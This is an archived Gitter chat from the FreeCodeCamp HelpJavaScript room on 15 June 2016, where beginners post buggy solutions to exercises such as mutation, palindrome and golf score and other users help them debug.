These are chat archives for FreeCodeCamp/HelpJavaScript

15th
Jun 2016
Dan
@dcgoings
Jun 15 2016 00:00
kinda stumped here on the mutations challenge. i only have one test returning true when it should be false (out of the 9 tests given). can anyone identify the issue?
function mutation(arr) {


 for (var i = 0; i < arr[0].length; i++) {
    return (arr[0].toLowerCase().indexOf(arr[1][i].toLowerCase()) !== -1);
 }
}

mutation(["hello", "hey"]);
Diego Mayer
@Chrono79
Jun 15 2016 00:00
@DragonOsman no, I meant inside the curly braces
btw you can't use dot notation with a var like this: collection[id].prop
David Halls
@DavidHalls
Jun 15 2016 00:01
help validate US telephone
CamperBot
@camperbot
Jun 15 2016 00:01

:point_right: algorithm validate us telephone numbers [wiki]

Algorithm Validate US Telephone Numbers

Problem Explanation:

  • The task is not that hard to understand, implementing it is the hardest part. You have a to validate an US phone number. This means there is a certain amount of numbers required, while you don't need to put the country code, you will still need the area code and use one of the few formats allowed.
:pencil: read more about algorithm validate us telephone numbers on the FCC Wiki
Diego Mayer
@Chrono79
Jun 15 2016 00:03
@dcgoings that is only looking for the first char of the "needle" in the "haystack"
When you use a loop (unless you have a good reason to not do it) you would want it to loop
return breaks the loop
Dan
@dcgoings
Jun 15 2016 00:03
you sure? i have eight other tests that pass fine..
arr[1][i] should be looping?
Diego Mayer
@Chrono79
Jun 15 2016 00:04
that's because of the test cases setup
Ojo Oluwasetemi
@Oluwasetemi
Jun 15 2016 00:04
12 more to go Basic Algorithm section
Dan
@dcgoings
Jun 15 2016 00:05
hmm
Ojo Oluwasetemi
@Oluwasetemi
Jun 15 2016 00:06
@Chrono79 if i am struggling with the Basic how will i survive the imtermediate and advanced
Diego Mayer
@Chrono79
Jun 15 2016 00:06
@dcgoings look: https://repl.it/CThc/6
@Oluwasetemi with pain, like Kung Fu Panda
Moisés Man
@moigithub
Jun 15 2016 00:07
@Oluwasetemi once u finish all basic... redo all again
@Chrono79 lol
Dan
@dcgoings
Jun 15 2016 00:07
never been to that site before, what am i looking at? i understand that it's returning true, i get that part. i don't see how.
oh nvm
Ojo Oluwasetemi
@Oluwasetemi
Jun 15 2016 00:07
@Chrono79 :fire:
Dan
@dcgoings
Jun 15 2016 00:07
return breaks, you said that
hmm
Osman Zakir
@DragonOsman
Jun 15 2016 00:07
@Chrono79 : so I put "collection[id]" inside that if condition's curly braces, and put the "artist" property inside the array, then set it the value to "ABBA"? How do I do that, though?
Diego Mayer
@Chrono79
Jun 15 2016 00:07
because it's only comparing the first letter as I said
Ojo Oluwasetemi
@Oluwasetemi
Jun 15 2016 00:07
@moigithub why? if i may ask?
Dan
@dcgoings
Jun 15 2016 00:07
okay so kill the return.
channsin
@channsin
Jun 15 2016 00:08
thanks @khaduch
CamperBot
@camperbot
Jun 15 2016 00:08
channsin sends brownie points to @khaduch :sparkles: :thumbsup: :sparkles:
:star2: 1321 | @khaduch |http://www.freecodecamp.com/khaduch
Diego Mayer
@Chrono79
Jun 15 2016 00:08
@dcgoings return false or true (not in the same place) for certain conditions
return inside a loop, should be inside an if or something else that makes the return under certain condition
Moisés Man
@moigithub
Jun 15 2016 00:08
to test ur self.... u said u struggling with basic.. but already gonna finish.. soo.. next time u redo.. should be easier... @Oluwasetemi
Gustavo Godoy
@imgustavo
Jun 15 2016 00:09
Hi
Ojo Oluwasetemi
@Oluwasetemi
Jun 15 2016 00:10
@moigithub ok
Hello @imgustavo
Diego Mayer
@Chrono79
Jun 15 2016 00:11
@DragonOsman i'll give you the right code for the first case and you figure out the rest, check the challenges I've posted before so you know what you should be doing
  if (value !== "") {
    if (prop != "tracks") {
      collection[id][prop] = value; //If value is non-blank (value !== "") and prop is not "tracks" then update or set the value for the prop.
    } else {
Iskya
@iskya
Jun 15 2016 00:11
why the target blank doesnt work here?
$("#output").prepend("<li class='col-xs-8 col-xs-offset-2'><a href="+data[3][i]+" target="_blank" >"+data[1][i]+"</a><p>"+data[2][i]+"</p></li>");}
Stephen James
@sjames1958gm
Jun 15 2016 00:12
@iskya I think that your quotes are mixed up - you need quotes around _blank, but you are using the same one for your string.
Gustavo Godoy
@imgustavo
Jun 15 2016 00:12
@Oluwasetemi :smile:
Moisés Man
@moigithub
Jun 15 2016 00:12
@iskya escape ur _blank quotes or use single quotes
Osman Zakir
@DragonOsman
Jun 15 2016 00:13
@Chrono79 : thanks. The challenges you mentioned before were which ones, again?
CamperBot
@camperbot
Jun 15 2016 00:13
dragonosman sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles:
:star2: 1164 | @chrono79 |http://www.freecodecamp.com/chrono79
Iskya
@iskya
Jun 15 2016 00:13
@sjames1958gm @moigithub thanks
CamperBot
@camperbot
Jun 15 2016 00:13
iskya sends brownie points to @sjames1958gm and @moigithub :sparkles: :thumbsup: :sparkles:
:star2: 1561 | @sjames1958gm |http://www.freecodecamp.com/sjames1958gm
:star2: 1441 | @moigithub |http://www.freecodecamp.com/moigithub
Diego Mayer
@Chrono79
Jun 15 2016 00:14
:point_up: 14 de junio de 2016 20:02 <- these @DragonOsman
Dan
@dcgoings
Jun 15 2016 00:17
@Chrono79 im still not sure what im missing here..
function mutation(arr) {

 for (var i = 0; i < arr[1].length; i++) {
    if (arr[0].toLowerCase().indexOf(arr[1][i].toLowerCase()) !== -1) {
      return true;
    } else return false;
 }
}

mutation(["hello", "hey"]);
Diego Mayer
@Chrono79
Jun 15 2016 00:18
@dcgoings change !== -1 to === -1, think what that means
Dan
@dcgoings
Jun 15 2016 00:18
now the first passed and the other eight failed lol
Diego Mayer
@Chrono79
Jun 15 2016 00:19
that's why I told you it was the test setup that made your 8/9 right
Ken Haduch
@khaduch
Jun 15 2016 00:19
@channsin - you're welcome
Dan
@dcgoings
Jun 15 2016 00:19
hmm
Osman Zakir
@DragonOsman
Jun 15 2016 00:19
@Chrono79 : I put in `collection[id][prop] = value;' as is?
andreas2249
@andreas2249
Jun 15 2016 00:19

Stumped here. First block of code replaces text fine. When doing same in a loop to target multiple blocks, doesn't work.

'''
var i = 2;
setTimeout(function() {
document.getElementById("section-" + i).innerHTML = "Swap out text...";
}, i * 1000);

window.onload = function() {
for (i = 1; i <= 6; i++) {
setTimeout(function() {
document.getElementById("section-" + i).innerHTML = "Swap out text...";
}, i * 1000);
}
}

'''
Any help is appreciated. Thanks in advance. :)

CamperBot
@camperbot
Jun 15 2016 00:19
:bulb: to format code use backticks! ``` more info
Dan
@dcgoings
Jun 15 2016 00:19
well if that's the case, i dont understand why my function doesnt satisfy the condition.
Diego Mayer
@Chrono79
Jun 15 2016 00:20
@dcgoings you don't have to return both true and false inside your loop
@andreas2249 Basically your i variable is shared across all the functions defined in your setTimeout and the value of i when they run is 7
Lennon Turner
@stoppable408
Jun 15 2016 00:21
I need some assistance. I'm stuck on "Title case a sentence" and my code is producing the correct response, it's just not passing the tests
Dan
@dcgoings
Jun 15 2016 00:21
understood.. but that means my test is still wrong then, right?
Lennon Turner
@stoppable408
Jun 15 2016 00:21

function titleCase(str) {

str = str.toLowerCase().split(" ");
var length = str.length;
var string = "";

for(var i = 0; i < length; i++){
var word = str[i].split('');
word[0] = word[0].toUpperCase();
word = word.join('');
string += word + " ";
}

return string;
}

Ken Haduch
@khaduch
Jun 15 2016 00:21
@andreas2249 - the for loop runs through quickly and sets up all of the setTimeout function calls, by the time they execute, they are looking at the value of i equal to seven - so this case is broken. You can read about it in this article - the third item: http://javascriptissexy.com/understand-javascript-closures-with-ease/
Diego Mayer
@Chrono79
Jun 15 2016 00:21
if you didn't fixed it, yes, your test is almost right
Stephen James
@sjames1958gm
Jun 15 2016 00:22
@stoppable408 There is likely an extra blank at the end which you cannot see but the testing can.
Lennon Turner
@stoppable408
Jun 15 2016 00:22
oh. yes. that's it. I know where it is
andreas2249
@andreas2249
Jun 15 2016 00:22
Thank you @sjames1958gm for your prompt reply. I'll go read that now. :)
CamperBot
@camperbot
Jun 15 2016 00:22
andreas2249 sends brownie points to @sjames1958gm :sparkles: :thumbsup: :sparkles:
:star2: 1562 | @sjames1958gm |http://www.freecodecamp.com/sjames1958gm
andreas2249
@andreas2249
Jun 15 2016 00:23
Thank you @khaduch for your prompt reply and link. I thought the window.onload function would cure that... Gonna read what you sent. Thanks again. :)
CamperBot
@camperbot
Jun 15 2016 00:23
andreas2249 sends brownie points to @khaduch :sparkles: :thumbsup: :sparkles:
:star2: 1322 | @khaduch |http://www.freecodecamp.com/khaduch
Osman Zakir
@DragonOsman
Jun 15 2016 00:24
how much right or wrong is this: else if (prop == "tracks" && value !== "") { collection[id][prop].push(value); }
Diego Mayer
@Chrono79
Jun 15 2016 00:25
@dcgoings let's put our thoughts in words, shall we? We need to check if every letter in the second word is in the first one, so we can use a loop to go through each letter and get indexOf of that letter
-1 means it's not there, so we don't need to check the rest to say not all letters are there don't we?
@DragonOsman that's almost right, you need to check if the property exist (and if it doesn't, create it as an array) before using push
Dan
@dcgoings
Jun 15 2016 00:25
correct, and understood.
nvm
i just added a count
@Chrono79 did i miss anything or do anything wrong or inefficient here?
function mutation(arr) {
 var count = 0;
 for (var i = 0; i < arr[1].length; i++) {
    if (arr[0].toLowerCase().indexOf(arr[1][i].toLowerCase()) !== -1) {
      count += 1;
    } 
 }
 return (count === arr[1].length);
}
Diego Mayer
@Chrono79
Jun 15 2016 00:28
That works too, do you remember the challenge return early? That's the other way of doing it somehow
Stephen James
@sjames1958gm
Jun 15 2016 00:28
@dcgoings You could return false immediately on === -1 and then return true when finished with your loop
Dan
@dcgoings
Jun 15 2016 00:28
hmm, i dont recall.
@sjames1958gm let me try it out
Diego Mayer
@Chrono79
Jun 15 2016 00:29
I was going there but somehow lost him in the process @sjames1958gm
Dan
@dcgoings
Jun 15 2016 00:29
oh hey, that works.
haha
im sorry!
i see where you were going now.
Stephen James
@sjames1958gm
Jun 15 2016 00:29
@Chrono79 Sry for stepping in.
Dan
@dcgoings
Jun 15 2016 00:29
i think the link to the indexOf() documentation had me focusing in on !== -1
that's why i tried going with that and stuck with it. === -1 definitely makes sense to return false immediately
thanks @Chrono79 @sjames1958gm
CamperBot
@camperbot
Jun 15 2016 00:30
dcgoings sends brownie points to @chrono79 and @sjames1958gm :sparkles: :thumbsup: :sparkles:
:star2: 1563 | @sjames1958gm |http://www.freecodecamp.com/sjames1958gm
:star2: 1165 | @chrono79 |http://www.freecodecamp.com/chrono79
Diego Mayer
@Chrono79
Jun 15 2016 00:30
no problem @sjames1958gm sometimes when another person says almost the same that you, they understand magically like you were talking in chinese :P
Dan
@dcgoings
Jun 15 2016 00:30
hahaha
Stephen James
@sjames1958gm
Jun 15 2016 00:30
@Chrono79 :+1:
lol
Diego Mayer
@Chrono79
Jun 15 2016 00:31
It's all good in the end
silver537
@silver537
Jun 15 2016 00:32
uh oh this cipher challenge seem difficult
Ojo Oluwasetemi
@Oluwasetemi
Jun 15 2016 00:33
@Chrono79 how can i compare the length of string values in an array
Jack Stone
@Jackstone92
Jun 15 2016 00:33

function golfScore(par, strokes) {
if (strokes == 1) {
return "Hole-in-one!";
} else if (strokes <= par - 2) {
return "Eagle";
} else if (strokes == par - 1) {
return "Birdie";
} else if (strokes == par) {
return "par";
} else if (strokes == par + 1) {
return "Bogey";
} else if (strokes == par + 2) {
return "Double Bogey";
} else {
return "Go Home!";
}

return "Change Me";
// Only change code above this line
}

// Change these values to test
golfScore(4, 4);

Can anyone tell me what I've done wrong in the golf code lesson? I tested the values (4, 4) and (5, 5) and they both return 'par' however, there seems to be something wrong?
sorry I'm quite new to JavaScript
Diego Mayer
@Chrono79
Jun 15 2016 00:33
several ways come to mind @Oluwasetemi
the simplest a for loop and a var to store the max
Coy Sanders
@coymeetsworld
Jun 15 2016 00:34
@Jackstone92 par should be capitalized
in the String you're returning
silver537
@silver537
Jun 15 2016 00:35
stupid case sensitive checker. -.-
Ojo Oluwasetemi
@Oluwasetemi
Jun 15 2016 00:35
This message was deleted
Jack Stone
@Jackstone92
Jun 15 2016 00:35
@coymeetsworld lol I thought I did it correct! If it's not a missing ";" then it's case-sensitive!
@coymeetsworld thanks
CamperBot
@camperbot
Jun 15 2016 00:35
jackstone92 sends brownie points to @coymeetsworld :sparkles: :thumbsup: :sparkles:
:star2: 1145 | @coymeetsworld |http://www.freecodecamp.com/coymeetsworld
Coy Sanders
@coymeetsworld
Jun 15 2016 00:36
no problem @Jackstone92, attention to detail always important :)
Jack Stone
@Jackstone92
Jun 15 2016 00:36
yep, no sleepwalking through the JavaScript sections!
gonna go to sleep and carry on tomorrow when I'm more awake. Goodnight all!
Wander
@WanderBread
Jun 15 2016 00:40
hi everyone
I'm having trouble with the celsius to fahrehneit challenge
Ojo Oluwasetemi
@Oluwasetemi
Jun 15 2016 00:41
@Chrono79 if(x[0].length >= x[1].length) { max = x[0].length } else { max = x[1].length}
FM
@mafelix
Jun 15 2016 00:42
I am here
convert the formula into javascript
Wander
@WanderBread
Jun 15 2016 00:43
@mafelix thanks
CamperBot
@camperbot
Jun 15 2016 00:43
wanderbread sends brownie points to @mafelix :sparkles: :thumbsup: :sparkles:
:cookie: 269 | @mafelix |http://www.freecodecamp.com/mafelix
Eric
@Code-Eric
Jun 15 2016 00:45
function repeatStringNumTimes(str, num) {
  // repeat after me

    for (var i = 0; i < num - 1; i ++ ) {
        if (i < num){
         console.log(str);
    }


  }
  return str;
}

repeatStringNumTimes("abc", 3);
FM
@mafelix
Jun 15 2016 00:45
@Code-Eric that's not what right output they want you to do
Diego Mayer
@Chrono79
Jun 15 2016 00:46
@Oluwasetemi if they're only 2 values you could use max = Math.max(x[0].length, x[1].length)
If they're more, use a loop
FM
@mafelix
Jun 15 2016 00:46
@Code-Eric and console.log displays the string in your developer console. it wants you to return
@Code-Eric this it the output it wants from the function call in your code. "abcabcabc"
Eric
@Code-Eric
Jun 15 2016 00:47
okay but when i do that it does not wrok
Jim Dennis
@JimDennis
Jun 15 2016 00:47
@Code-Eric You don't need an if (i<num) from within a for (var i=0; i<num... statement. That for loop already guarantees that particular condition.
FM
@mafelix
Jun 15 2016 00:47
@Code-Eric understand what output they want first then you can work towards it
allon-z
@allon-z
Jun 15 2016 00:48

I don't understand what I am doing wrong. I am trying to make it return the property if the object exists:
var myObj = {
gift: "pony",
pet: "kitten",
bed: "sleigh"
};

function checkObj(checkProp) {
// Your Code Here
if (checkProp.hasOwnProperty(checkObj)){
return checkProp;
} else {
return "Not Found";
}
}

// Test your code by modifying these values
checkObj("pet");

FM
@mafelix
Jun 15 2016 00:48
@Code-Eric understanding the problem is a big part of coding. or you're coding shooting in the dark.
Eric
@Code-Eric
Jun 15 2016 00:48
but when I “return” doesn’t it end the for loop?
FM
@mafelix
Jun 15 2016 00:49
@Code-Eric indeed it does.
@Code-Eric but look at the output they want first.
Diego Mayer
@Chrono79
Jun 15 2016 00:49
@allon-z this: checkProp.hasOwnProperty(checkObj) your object is myObj, not checkProp
FM
@mafelix
Jun 15 2016 00:49
@Code-Eric they want a SINGLE string with the NUM of times of STR input
Michael Guest
@MichaelGuest
Jun 15 2016 00:49
What am I doing wrong in the palindrome bonfire?
/* jshint esversion: 6 */
function palindrome(str) {
  let arrstr = str.split("").reverse("").join("");
  if(arrstr === arrstr){
    return true;
  }
else {
  return false;
  }

}


palindrome("eye");
Eric
@Code-Eric
Jun 15 2016 00:49
yes, i understand what youre staying
saying**
FM
@mafelix
Jun 15 2016 00:50
@Code-Eric so what are your thoughts in doing this?
allon-z
@allon-z
Jun 15 2016 00:50
Thanks @Chrono79 !
CamperBot
@camperbot
Jun 15 2016 00:50
allon-z sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles:
:star2: 1166 | @chrono79 |http://www.freecodecamp.com/chrono79
Diego Mayer
@Chrono79
Jun 15 2016 00:50
@MichaelGuest 2 things
if(arrstr === arrstr) <- this is always true
and you're not cleaning the string to get rid of all that's not a number or a letter (use a regex and replace to do that)
Michael Guest
@MichaelGuest
Jun 15 2016 00:51
I tried arrstr === " " it gave me false lol
Juan Cortes
@jcortes0309
Jun 15 2016 00:51
@MichaelGuest I agree with @Chrono79 You need to test it against str
Eric
@Code-Eric
Jun 15 2016 00:51
@mafelix perhaps make it an array
Ojo Oluwasetemi
@Oluwasetemi
Jun 15 2016 00:51
@MichaelGuest reverse() method should be empty.
FM
@mafelix
Jun 15 2016 00:51
@Code-Eric it's fine to say you don't know. as long as you actually put some effort into it
@Code-Eric make the str into an array? ok and then what?
Michael Guest
@MichaelGuest
Jun 15 2016 00:52
@Oluwasetemi Why should it be empty?
Diego Mayer
@Chrono79
Jun 15 2016 00:52
@Oluwasetemi technically true, but it doesn't matter what you write there
see: https://repl.it/CThc/7
Ojo Oluwasetemi
@Oluwasetemi
Jun 15 2016 00:53
@Chrono79 i can use the array.sort as well right?
FM
@mafelix
Jun 15 2016 00:53
@Code-Eric you want a hint?
Eric
@Code-Eric
Jun 15 2016 00:53
@mafelix make it print a new array for the amount i want, then concatate the arrays and then join them to a new string
Michael Guest
@MichaelGuest
Jun 15 2016 00:53
How do I do bonfires they are really hard to figure out any suggestions?
Diego Mayer
@Chrono79
Jun 15 2016 00:53
@Oluwasetemi yes, you have to define a filter function to do that
Eric
@Code-Eric
Jun 15 2016 00:53
concatenate
sorry
ill take a hint @mafelix
FM
@mafelix
Jun 15 2016 00:54
@Code-Eric you're on the right track minus the array
Ojo Oluwasetemi
@Oluwasetemi
Jun 15 2016 00:54
@Chrono79 got that!!
FM
@mafelix
Jun 15 2016 00:54
@Code-Eric you can do it easier with string concatentation
Eric
@Code-Eric
Jun 15 2016 00:54
oh okay, so i just print a new array for the amount i want and then concatentation
i mean new string
Eden Coleman
@nede36
Jun 15 2016 00:54
Screen Shot 2016-06-14 at 6.55.39 PM.png
Eric
@Code-Eric
Jun 15 2016 00:54
sorry for all the mistypes
FM
@mafelix
Jun 15 2016 00:54
@Code-Eric what do you mean print a new array though? that makes no sense
@Code-Eric you can do that if you want
Eden Coleman
@nede36
Jun 15 2016 00:55
I am working on the golf game, what am I missing? All the commands work minus 2
FM
@mafelix
Jun 15 2016 00:55
@Code-Eric let's do it the array way. I did it another way but your way still works
@Code-Eric now you don't have to print the array at the straight. what I would do is instantiate an empty array first off.
Diego Mayer
@Chrono79
Jun 15 2016 00:55
@nede36 a ! after Hole-in-one
and a last if condition
FM
@mafelix
Jun 15 2016 00:56
@Code-Eric then push the str num times into that empty array
@Code-Eric you get where I'm going with this?
Eric
@Code-Eric
Jun 15 2016 00:56
@mafelix Okay. I see what youre saying.
Eden Coleman
@nede36
Jun 15 2016 00:56
Fuck @Chrono79 thanks man, the little shit always slips my mind I always think it's something bigger than a minor typo..
CamperBot
@camperbot
Jun 15 2016 00:56
nede36 sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles:
:star2: 1167 | @chrono79 |http://www.freecodecamp.com/chrono79
Eric
@Code-Eric
Jun 15 2016 00:56
@mafelix thank you for walking me through it
CamperBot
@camperbot
Jun 15 2016 00:56
code-eric sends brownie points to @mafelix :sparkles: :thumbsup: :sparkles:
:cookie: 270 | @mafelix |http://www.freecodecamp.com/mafelix
Norvin Burrus
@ndburrus
Jun 15 2016 00:57
@nede36 ...where is the ! ? here: "Hole-in-one"; :)
William Fish
@williamlfish
Jun 15 2016 00:57
````
Michael Guest
@MichaelGuest
Jun 15 2016 00:57
@jcortes0309 How do I test against str?
FM
@mafelix
Jun 15 2016 00:58
@Code-Eric npnp. way to come up with the solution.
Eden Coleman
@nede36
Jun 15 2016 00:58
@ndburrus I think I can figure that one out now ;)
William Fish
@williamlfish
Jun 15 2016 00:58
hey there, anyone understand why this wont work? for the mutations one..
function mutation(arr) {
  var ele0 = arr[0].toLowerCase();
  var ele1 = arr[1].toLowerCase();
  for(var i=0; i<ele0.length ;i++){
    if(ele0.indexOf(ele1[i]) === -1){
      console.log(ele0.indexOf(ele1[i]));
      return false;
    }
    return true;
  }

}

mutation(["hello", "hey"]);
it passes all but the first?!?
Diego Mayer
@Chrono79
Jun 15 2016 00:59
@williamlfish why both returns inside the loop? It won't really loop that way
Juan Cortes
@jcortes0309
Jun 15 2016 00:59
@MichaelGuest you should be able to just do
  if(str ===  arrstr){
    return true;
  }
William Fish
@williamlfish
Jun 15 2016 00:59
ha!!!! thanks @Chrono79
CamperBot
@camperbot
Jun 15 2016 00:59
williamlfish sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles:
:star2: 1168 | @chrono79 |http://www.freecodecamp.com/chrono79
Juan Cortes
@jcortes0309
Jun 15 2016 01:01
@MichaelGuest did that work for you?
Michael Guest
@MichaelGuest
Jun 15 2016 01:02
@jcortes0309 Thanks! Thats works sort of but not for the strings that have spaces?
CamperBot
@camperbot
Jun 15 2016 01:02
michaelguest sends brownie points to @jcortes0309 :sparkles: :thumbsup: :sparkles:
:cookie: 255 | @jcortes0309 |http://www.freecodecamp.com/jcortes0309
Diego Mayer
@Chrono79
Jun 15 2016 01:02
@jcortes0309 @MichaelGuest that's because you have to get rid of all that's not an alphanumeric char as I said before
Norvin Burrus
@ndburrus
Jun 15 2016 01:02
@nede36 i was too late... :-1: :)
Michael Guest
@MichaelGuest
Jun 15 2016 01:03
@Chrono79 Sweet! I'll get back to you when I figure out how to do that.
Juan Cortes
@jcortes0309
Jun 15 2016 01:04
@MichaelGuest @Chrono79 is right. Can you share your solution again to take a look at how you are trying to get rid of the non alphanumeric characters?
Diego Mayer
@Chrono79
Jun 15 2016 01:04
he wasn't
Michael Guest
@MichaelGuest
Jun 15 2016 01:04
/* jshint esversion: 6 */
function palindrome(str) {
  let arrstr = str.split("").reverse().join("");
  if(str === arrstr){
    return true;
  }
else {
  return false;
  }
}


palindrome("eye");
I haven't implemented it yet
Juan Cortes
@jcortes0309
Jun 15 2016 01:04
@MichaelGuest Oh yes, that's right. There's no code there to do that
Diego Mayer
@Chrono79
Jun 15 2016 01:05
hint replace and regex
CamperBot
@camperbot
Jun 15 2016 01:05
:construction: Spoilers are only in the Bonfire's Custom Room :point_right:
Michael Guest
@MichaelGuest
Jun 15 2016 01:06
Is there any place I can learn regex because it is really confusing?
Maria Alejandra
@MariaTaborda
Jun 15 2016 01:06
@MichaelGuest I saq
Diego Mayer
@Chrono79
Jun 15 2016 01:06
help regex
CamperBot
@camperbot
Jun 15 2016 01:06

:point_right: js regex resources [wiki]

Regular Expressions Resources

Links to useful RegEx resources.

See also: :clipboard: Tutorials | :syringe: Testing | :soccer: Games | :newspaper: Blogs | :package: Software

:pencil: read more about js regex resources on the FCC Wiki

Maria Alejandra
@MariaTaborda
Jun 15 2016 01:06
Saw a tutorial video by Derek Banas
Michael Guest
@MichaelGuest
Jun 15 2016 01:07
@MariaTaborda @Chrono79 thanks!
CamperBot
@camperbot
Jun 15 2016 01:07
michaelguest sends brownie points to @mariataborda and @chrono79 :sparkles: :thumbsup: :sparkles:
:cookie: 331 | @mariataborda |http://www.freecodecamp.com/mariataborda
:star2: 1169 | @chrono79 |http://www.freecodecamp.com/chrono79
Dennis Niemeijer
@daniemeijer
Jun 15 2016 01:07
help code
CamperBot
@camperbot
Jun 15 2016 01:07

:point_right: challenge comment your javascript code [wiki]

Challenge Comment your JavaScript Code

Comments are a great way to leave notes to yourself and to other people who will later need to figure out what it does. Any code in it will be ignored.

Let's take a look at the two ways you can write comments in JavaScript.

  • The double-slash comment will comment out the remainder of the text on the current line:

    // This is a comment.

  • The slash-star-star-slash comment will comment out everything between the /* and the */ characters:

    /* This is also a comment */

:pencil: read more about challenge comment your javascript code on the FCC Wiki

Maria Alejandra
@MariaTaborda
Jun 15 2016 01:07
@MichaelGuest
Dennis Niemeijer
@daniemeijer
Jun 15 2016 01:07
help script
CamperBot
@camperbot
Jun 15 2016 01:07

:point_right: challenge add new properties to a javascript object [wiki]

Add New Properties to a JavaScript Object

You can add new properties to existing JavaScript objects the same way you would modify them. Here is how:

myDog.bark = "woof-woof";

:pencil: read more about challenge add new properties to a javascript object on the FCC Wiki

Dennis Niemeijer
@daniemeijer
Jun 15 2016 01:08
help///
CamperBot
@camperbot
Jun 15 2016 01:08

CamperBot

Hi, I'm CamperBot! I can help you in this chatroom :smile:

Basic Commands:

  • find TOPIC find all entries about topic. e.g. find js
  • wiki TOPIC show contents of topic page
  • thanks @username send brownie points to another user
  • about @username shows info on that user
  • Algorithm BONFIRENAME info on a Algorithm

meet CamperBot in FreeCodeCamp/camperbotPlayground

:pencil: read more about camperbot on the FCC Wiki

Maria Alejandra
@MariaTaborda
Jun 15 2016 01:08
Michael Guest
@MichaelGuest
Jun 15 2016 01:09
@MariaTaborda Sweet! I'll check it out
Maria Alejandra
@MariaTaborda
Jun 15 2016 01:09
Yea I was soooo freaking confused with it
Michael Guest
@MichaelGuest
Jun 15 2016 01:10
lol
Dennis Niemeijer
@daniemeijer
Jun 15 2016 01:10

```function whereAreYou(collection, source) {
// What's in a name?
var arr = [];
// Only change code below this line
var key = Object.keys(source);

//check if the value of the 

// Only change code above this line
return source[key];
}

whereAreYou([{ first: "Romeo", last: "Montague" }, { first: "Mercutio", last: null }, { first: "Tybalt", last: "Capulet" }], { last: "Capulet" });```

Maria Alejandra
@MariaTaborda
Jun 15 2016 01:11
And the video was like 💡💡💡
Michael Guest
@MichaelGuest
Jun 15 2016 01:11
Nice!!
Coy Sanders
@coymeetsworld
Jun 15 2016 01:19
@MichaelGuest this is a longer video but I thought it was well done for regex if you have time to watch it https://www.youtube.com/watch?v=EkluES9Rvak
Michael Guest
@MichaelGuest
Jun 15 2016 01:21
@coymeetsworld Thanks! Ill check that out also.
CamperBot
@camperbot
Jun 15 2016 01:21
michaelguest sends brownie points to @coymeetsworld :sparkles: :thumbsup: :sparkles:
:star2: 1146 | @coymeetsworld |http://www.freecodecamp.com/coymeetsworld
Dennis Niemeijer
@daniemeijer
Jun 15 2016 01:23

``` var key = Object.keys(source);

//check if the value of the 

// Only change code above this line
return source[key];``` can anyone tell me why I need brackets around key to return the value of a property? I'm lost

how can i post code?
Coy Sanders
@coymeetsworld
Jun 15 2016 01:23
backticks need to be on their own lines
Dennis Niemeijer
@daniemeijer
Jun 15 2016 01:24
  var key = Object.keys(source);

    //check if the value of the 
  // Only change code above this line
  return source[key];
I'm lost here! I'm trying to understand why I need brackets around key to make to get what I expect to get.
Diego Mayer
@Chrono79
Jun 15 2016 01:26
@daniemeijer key is a var, so [key] is like ["key_value_string"]
you can't use dot notation with a var
Greg Munker
@Gmunker
Jun 15 2016 01:26

Hello everyone, i'm currently working on my twitch app and i have figured it out mostly, it all works except for the way i'm parsing the users to html. I'm appending and with keyup it's creating multiple versions of the same user if you type to quick. I'm hoping there is an easy fix and i'm simply just overlooking it.

http://codepen.io/Gmunker/pen/KMVLaj?editors=0110

thanks in advance!

and it is NOT mobile friendly Yet. :P
Dennis Niemeijer
@daniemeijer
Jun 15 2016 01:27
@Chrono79 I need to read back on that, but thanks for pointing me in the right direction.
CamperBot
@camperbot
Jun 15 2016 01:27
daniemeijer sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles:
:star2: 1170 | @chrono79 |http://www.freecodecamp.com/chrono79
andreas2249
@andreas2249
Jun 15 2016 01:30
Got some great answers to a closure issue I posted early -- but the concepts are way over my head. I've given this a couple of hours with no luck. Am too much of a noob to comprehend it... How do I make this loop iterate without failing, please?
  for (i = 1; i <= 6; i++) {
    setTimeout(function() {
      document.getElementById("section-" + i).innerHTML = "Swap out text (" + i + ")";
    }, i * 1000);
  }
Thanks in advance. :)
Eden Coleman
@nede36
Jun 15 2016 01:32
Screen Shot 2016-06-14 at 7.33.44 PM.png
I am learning about switch statements, the code runs fine. Just wanna make sure this is the proper way
Michael Guest
@MichaelGuest
Jun 15 2016 01:32
So I know for my solution I need the letter s for regex
which removes my spaces
would I also say 0-9 and a-z?
to remove punctuation spaces and symbols?
Diego Mayer
@Chrono79
Jun 15 2016 01:35
it depends on the modifiers you use @MichaelGuest
Dylan
@dhcodes
Jun 15 2016 01:35
@nede36 shouldn't need return and break
Eden Coleman
@nede36
Jun 15 2016 01:35
So just leave out the return? @dhcodes
Dylan
@dhcodes
Jun 15 2016 01:36
yeah
Diego Mayer
@Chrono79
Jun 15 2016 01:36
@nede36 no, you need to use answer
Michael Guest
@MichaelGuest
Jun 15 2016 01:36
@Chrono79 are modifiers + * - etc?
Dylan
@dhcodes
Jun 15 2016 01:37
@nede36 let me go look at mine to confirm
Diego Mayer
@Chrono79
Jun 15 2016 01:37
@MichaelGuest no, the letters after the / i.e. g m i
Dylan
@dhcodes
Jun 15 2016 01:37
@nede36 so you need to make answer = something
Michael Guest
@MichaelGuest
Jun 15 2016 01:37
I see
Dylan
@dhcodes
Jun 15 2016 01:37
since that is your switch
Eden Coleman
@nede36
Jun 15 2016 01:37
Okay thanks @dhcodes I would appreciate it. Just wanna make sure I am interpreting Switch statements properly
CamperBot
@camperbot
Jun 15 2016 01:37
nede36 sends brownie points to @dhcodes :sparkles: :thumbsup: :sparkles:
:star2: 1022 | @dhcodes |http://www.freecodecamp.com/dhcodes
Dylan
@dhcodes
Jun 15 2016 01:37
like this @nede36
case 1:
answer = "alpha";
break;
etc.
Diego Mayer
@Chrono79
Jun 15 2016 01:38
@nede36 instead of returning in your cases use answer, like @dhcodes wrote up here
Eden Coleman
@nede36
Jun 15 2016 01:39
Thanks @Chrono79 and @dhcodes for the help! I understand them now
CamperBot
@camperbot
Jun 15 2016 01:39
nede36 sends brownie points to @chrono79 and @dhcodes :sparkles: :thumbsup: :sparkles:
:warning: nede36 already gave chrono79 points
:warning: nede36 already gave dhcodes points
Michael Guest
@MichaelGuest
Jun 15 2016 01:39
@jcortes0309 Thanks!
CamperBot
@camperbot
Jun 15 2016 01:39
michaelguest sends brownie points to @jcortes0309 :sparkles: :thumbsup: :sparkles:
:warning: michaelguest already gave jcortes0309 points
